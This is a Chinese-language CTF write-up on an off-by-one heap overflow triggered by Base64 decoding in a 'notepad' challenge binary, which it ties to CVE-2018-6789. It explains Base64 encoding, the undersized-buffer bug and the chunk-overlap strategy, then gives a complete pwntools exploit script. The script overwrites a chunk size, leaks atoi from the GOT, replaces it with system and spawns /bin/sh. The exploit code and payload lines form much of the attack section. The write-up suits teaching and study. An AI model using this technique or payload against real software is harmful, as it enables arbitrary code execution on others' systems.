简介

off-by-one漏洞在堆分配时有比较大的威胁, 在pwn中利用比较常见, 这里介绍一个由base64解码造成的off-by-one漏洞, 这个漏洞在CVE-2018-6789当中是真实存在的, 这里以一个ctf中的pwn题目notepad来介绍一下利用过程;

前置知识

原理在分析程序之前先介绍一下Base64的编码和解码的原理;

Base64编码

Base64编码的原理是将二进制数据进行分组,每24Bit(即3字节)为一个大组,再把一个大组的数据分成46Bit的小分组;
因为6bit数据只能表示64个不同的字符(2^6=64),这64个字符分别对应ASCII码表中的'A'-'Z','a'-'z','0''9','+'和'/'; 这些字符的对应关系是由Base64字符集决定的;
因为小分组中的6Bit数据表示起来不符合计算机的操作习惯,所以要把每个小分组进行高位补零操作,这样的话每个小分组就构成了一个8Bit(1字节)的数据; 在补零操作完成后, 就是将小分组的内容作为Base64字符集的下标,然后一一替换成对应的ASCII字符, 编码工作就完成了;
但是这里面仍然有需要解决的细节问题:
  在编码之前我们无法保证需要编码的字符串长度是3的倍数,所以为了让编码能够顺利进行就必须在获取编码字符串的同时判断字符串的长度是否是3的倍数,如果是3的倍数编码就可以正常进行,如果不是3的倍数就要进行补零的操作,就是要在不足3的倍数的字符串末尾用\x00进行填充;
  这样虽然解决了字符串长度不足的问题了,但是同时也引进了另一个新的问题,那就是末尾补充上的\x00在进行Base64字符集替换的时候会与字符集中的'A'字符发生冲突; 因为字符集中的下标0对应的字符是'A',而末尾填充上的\x00在分组补零后同样是下标0,这样就无法分辨出到底是末尾填充的\x00还是二进制数据中的0x00; 所以为了解决这个问题我们就必须引入Base64字符集外的新字符来区分末尾补充上的\x00,这就是'='字符不在Base64字符集中,但是也出现在Base64编码的原因了,’='字符在一个Base64编码的末尾中最多会出现两个,如果不符合这以规则那么这个Base64就可能是错误的或被修改过;

Base64解码

Base64解密的工作原理相对来说就比较简单了,只需要和加密操作方式相反即可;
  首先将Base64编码根据其对应的字符集转换成下标,这就是补完零后的8Bit(1字节)数据; 在编码操作有补零操作那自然解码操作时就会有去零操作了,我们将这些8Bit数据的最高位上的两个0抹去形成6Bit数据,这也就是前面我们编码操作中提到过的小分组; 最后将每46Bit数据进行合并形成24Bit的大分组,然后将这些大分组按照每组8Bit进行拆分就会得到3个8Bit的数据,此时的8Bit数据就是加密前的数据了, 解码工作好完成了;

题目分析

checksec


题目主要有4个功能:

主要用于添加, 显示, 修改和删除一个note, 所有数据的修改都是在基于堆的;

漏洞点

这个程序的漏洞主要在于密码的内存空间的分配上面, 程序是将我们输入的password进行base64解码后存在堆中的:


这里面的v2就是我们输入的password的长度, base64解码的逻辑是把4个字节当做一组,4个字节解码成3个字节, 所以这里如果我们传入的密文长度为4n + 3字节, 则函数会将最后三个字节解码为两个字节, 最终明文长度为3n+2个字节, 但是分配的堆空间的大小为3n+1个字节, 所以这里就会发生off-by-one了;
取个例子:
比如我们设置密码为MTIz时, 解密出来在内存中是0x0000000000333231, 即字符串123, 此时密码长度为4:

当我们重新设置密码为MTIzMTI时, 即在MTIz后面加了3个字节,符合4n+1的公式, 此时密码解密出是0x0000003231333231, 即字符串12312

但是这里没有发生溢出的原因是因为堆在分配内存的时候后有一个内存空间补齐的操作, 只要我们构造合适长度的password就可以造成溢出了;
这个密码可以使用:

pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"

其中\xc1就是溢出的那个字节;

利用思路

off-by-one的总体利用思路其实就是利用堆A的溢出, 修改下一个堆Bsize位, 将堆B的大小变大, 从而包含堆’B’的后面一个或多个堆, 然后free掉堆B, 在申请一个大小合适的堆, 结合程序的具体功能我们就可以修改堆中的指针了;
而本程序就是包含堆之后去修改passwordcontent的指针, 从而泄露出got表中atoi函数的内容, 计算出system函数地址并修改, 控制程序流程;
首先分配5个堆, 然后free第2,和第1个:

addnote("1"*0x10, passwd, 0x10, "a"*8)     # 1
addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2
addnote("3"*0x10, passwd, 0x10, "a"*8)     # 3
addnote("4"*0x10, passwd, 0x10, "a"*8)     # 4
addnote("5"*0x10, passwd, 0x10, "a"*8)     # 5 delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)

此时内存堆分布如下:

注意红框的部分, 接下来我们要从这个堆里面分一部分出来存放password, 然后利用off-by-one溢出覆盖下个堆的size;

delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x10, "q"*8)    # 2

通过下面这个两个图可以看出如果没有off-by-one的内存分布:
未溢出时:

可以看出未分配的堆大小为0x80;
溢出后:

可以看到我们把未分配的堆大小修改为0xc0了, 也就是说我们把下面的已经分配的堆也分配进去了, 所以下一次我们申请堆的时候可以把已经分配的堆的也包含进去, 从而可以修改指针了;

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = "./notepad"
p = process(name)
elf = ELF(name)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args.G:gdb.attach(p)def addnote(name, passwd, size, data):p.recvuntil("choice> ")p.sendline("1")p.recvuntil("name> ")p.send(name)p.recvuntil("1:yes, 0:no)> ")p.sendline("1")p.recvuntil("password> ")p.sendline(str(passwd, encoding="utf-8"))p.recvuntil("content size> ")p.sendline(str(size))p.recvuntil("content> ")p.sendline(data)def shownote(name, passwd):p.recvuntil("choice> ")p.sendline("2")p.recvuntil("name> ")p.send(name)p.recvuntil("password> ")p.sendline(str(passwd, encoding="utf8"))def editnote(name, passwd, newpasswd, size, data):p.recvuntil("choice> ")p.sendline("3")p.recvuntil("name> ")p.send(name)p.recvuntil("password> ")p.sendline(str(passwd, encoding="utf8"))p.recvuntil("1:yes, 0:no)> ")p.sendline("0")# p.recvuntil("password> ")# p.sendline(str(newpasswd, encoding="utf8"))p.recvuntil("content size> ")p.sendline(str(size))p.recvuntil("content> ")p.send(data)def delnote(name, passwd):p.recvuntil("choice> ")p.sendline("4")p.recvuntil("name> ")p.send(name)p.recvuntil("password> ")p.sendline(str(passwd, encoding="utf8"))passwd = base64.b64encode(b"sir")
newpasswd = base64.b64encode(b"cc-sir")
addnote("1"*0x10, passwd, 0x10, "a"*8)     # 1
addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2
addnote("3"*0x10, passwd, 0x10, "a"*8)     # 3
addnote("4"*0x10, passwd, 0x10, "a"*8)     # 4
addnote("5"*0x10, passwd, 0x10, "a"*8)     # 5 delnote("2"*0x10, passwd)  # delete 2
delnote("1"*0x10, passwd) # delete 1
pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x10, "q"*8)    # off-by-one   修改堆的大小
payload = b"s"*0x78 + p64(0x31) + b"c"*0x10 + p64(0x401981) + p64(0x602090)
addnote("6"*0x10, passwd, 0xb0, payload)    # 6 包含后面的堆shownote("c"*0x10, base64.b64encode(b"choice> "))
atoi_addr = u64(p.recv(6) + b"\x00\x00")
system_addr = atoi_addr + 0xb200
print("atoi_addr: " + hex(atoi_addr))
print("system_addr: " + hex(system_addr))editnote("c"*0x10, base64.b64encode(b"choice> "), newpasswd, 8, p64(system_addr))
p.recvuntil("choice> ")
p.sendline("/bin/sh\x00")
p.interactive()

运行结果:

off-by-one相关推荐

  1. 《CTF竞赛权威指南》|Off-By-One

    堆中的Off-By-One 漏洞原理 off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况.其中边界验 ...

  2. CTF 竞赛入门指南(CTF All In One)学习(七)

    Linux ELF 实例 ELF 文件类型 目标文件结构 .text 段 .data 段和 .rodata 段 .bss 段 ELF 文件结构 32 位数据类型 文件头 程序头 段和段表 字符串表 符 ...

  3. 【CSDN竞赛第10期】赢定制周边和《软件研发效能权威指南》实体书!

    一.竞赛奖励 本场竞赛由「电子工业出版社 & CSDN」联合主办,可点击此处前往查看<软件研发效能权威指南> [实物奖励] 1. 排名第 1 - 3 名 的参赛者可获得电子工业出版 ...

  4. 【CTF】CTF竞赛介绍以及刷题网址

    CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过 ...

  5. HTML5与CSS3权威指南之CSS3学习记录

    title: HTML5与CSS3权威指南之CSS3学习记录 toc: true date: 2018-10-14 00:06:09 学习资料--<HTML5与CSS3权威指南>(第3版) ...

  6. Android开发权威指南(第2版)新书发布

    <Android 开发权威指南(第二版)>是畅销书<Android开发权威指南>的升级版,内容更新超过80%,是一本全面介绍Android应用开发的专著,拥有45 章精彩内容供 ...

  7. 《ELK Stack权威指南(第2版)》一3.8 Docker日志

    本节书摘来自华章出版社<ELK Stack权威指南(第2版)>一书中的第3章,第3.8节,作者 饶琛琳  更多章节内容可以访问云栖社区"华章计算机"公众号查看. 3.8 ...

  8. 《Ansible权威指南 》一 第一篇 Part 1 基础入门篇

    本节书摘来自华章出版社<Ansible权威指南 >一书中的第1章,第1.1节,李松涛 魏 巍 甘 捷 著更多章节内容可以访问云栖社区"华章计算机"公众号查看. 第一篇 ...

  9. 《CUDA C编程权威指南》——1.5节总结

    本节书摘来自华章社区<CUDA C编程权威指南>一书中的第1章,第1.5节总结,作者[美] 马克斯·格罗斯曼(Max Grossman) ,更多章节内容可以访问云栖社区"华章社区 ...

  10. [原创]Java性能优化权威指南读书思维导图

    [原创]Java性能优化权威指南读书思维导图 书名:Java性能优化权威指南 原书名:Java performance 作者: (美)Charlie Hunt    Binu John 译者: 柳飞 ...

最新文章

  1. UE5使用MetaHuman构建超现实的角色
  2. 【iOS】通讯录分组方式展示数据
  3. BiB: 电子科大邹权组构建基于肠道菌群平衡的疾病预测模型及微生物生物标志物发掘平台...
  4. ​AMD放出超强新算法,旧N卡也能焕发第二春
  5. 推荐几个小而美的原创公众号!
  6. 在日本做开发的日子(工作篇 序)
  7. CPU亲和性(affinity)sched_setaffinity() 和 sched_getaffinity()
  8. 【Win10应用开发】自定义磁贴通知的排版
  9. 超级干货 | 用万字文章总结25种正则化方法(值得收藏)
  10. python打包成exe文件
  11. 五十岁才考上大学的柳永,半生风流半生坎坷!
  12. 层次分析法(AHP)原理_例题应用及代码
  13. [wordpress搬家]马来西亚 你好
  14. 关于uniapp cheneckbox复选框不显示对号的问题
  15. 谷歌浏览器 android 69,如何将谷歌浏览器69及以上版本切换回旧版UI界面
  16. 夏季晒黑如何变白?店湾妹教你几招,皮肤回归白嫩
  17. 从零开始构建PHP版mud游戏(一)
  18. 实现基于LNMP的电子商务网站
  19. c语言单片机驱动数码管程序,51单片机IO口直接驱动LED数码管方法
  20. oracle 计划术语,Oracle基本术语 - 满天星*_*

热门文章

  1. 在Excel中快速选择数据
  2. 如何给 PDF 文档批量添加页眉页脚?如何给 PDF 文档批量添加页码?
  3. impala COMPUTE STATS 指令
  4. Jenkins知识地图
  5. postman压力测试
  6. Java IO流的分类
  7. 邮箱如何设置smtp服务器端口,如何改变你的SMTP端口来允许发送电子邮件
  8. Linux网络编程 ——Select机制
  9. WinSocket模型的探讨——select模型
  10. 电脑计算机的快捷键是什么,电脑保存的快捷键是什么-电脑知识